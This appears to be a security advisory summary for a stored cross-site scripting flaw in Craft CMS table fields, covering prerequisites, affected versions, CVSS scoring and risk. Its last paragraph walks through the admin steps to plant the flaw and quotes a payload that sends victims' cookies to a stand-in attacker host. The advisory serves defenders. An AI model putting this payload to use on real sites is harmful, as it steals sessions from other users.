Craft CMS EUVD-2026-38177

Exploitation requires two specific, documented prerequisites beyond network access. First, the attacker must hold a Craft CMS administrator account (PR:H per CVSS). Second, the allowAdminChanges configuration directive must be enabled in the target environment - a setting Craft CMS explicitly recommends disabling in production environments for security hardening; instances following this recommendation are not exploitable. Victim-side interaction is also required: a second user must navigate to a page that renders the affected table field containing the injected payload (UI:A in CVSS 4.0). Exploitation is scoped to Craft CMS 4.5.0-beta.1 through 4.16.18 and 5.0.0-RC1 through 5.8.22. Deployments running patched versions (4.16.19+, 5.8.23+) or those with allowAdminChanges=false in production are not exploitable.

The CVSS 4.0 score of 4.6 (Medium) with vector AV:N/AC:L/AT:N/PR:H/UI:A accurately captures the constrained attack surface: the PR:H metric reflects the full administrator account requirement, and UI:A reflects mandatory victim interaction - the victim must navigate to a page rendering the malicious table field. Real-world risk is further compressed because exploitation additionally requires allowAdminChanges to be enabled in production, a configuration Craft CMS explicitly flags as against its own security recommendations. No EPSS score was provided in the intelligence data, and the CVE is absent from the CISA KEV catalog, providing no signal of active exploitation. The notable risk factor is the scope change present in both the vendor CVSS 4.0 vector (SC:L/SI:L) and the CVSS 3.1 equivalent (S:C): a malicious or compromised admin can use this flaw to target lower-privileged users, potentially harvesting sessions or performing actions on their behalf. The attack is not automatable at scale due to high-privilege prerequisites, making this a targeted insider-threat or post-compromise lateral-movement scenario rather than a mass-exploitation risk.

A malicious or compromised Craft CMS administrator navigates to Settings → Fields, creates or edits a Table field, adds a Row Heading column type, and enters a JavaScript payload such as <img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)"> in the Default Values section with Static Rows enabled. When a lower-privileged user - such as an editor or site visitor - subsequently views any page or profile that renders the poisoned table field, the injected script executes silently in their browser, enabling session token exfiltration or unauthorized actions on the victim's behalf. The GHSA advisory includes a working proof-of-concept payload, confirming exploitability without requiring additional research.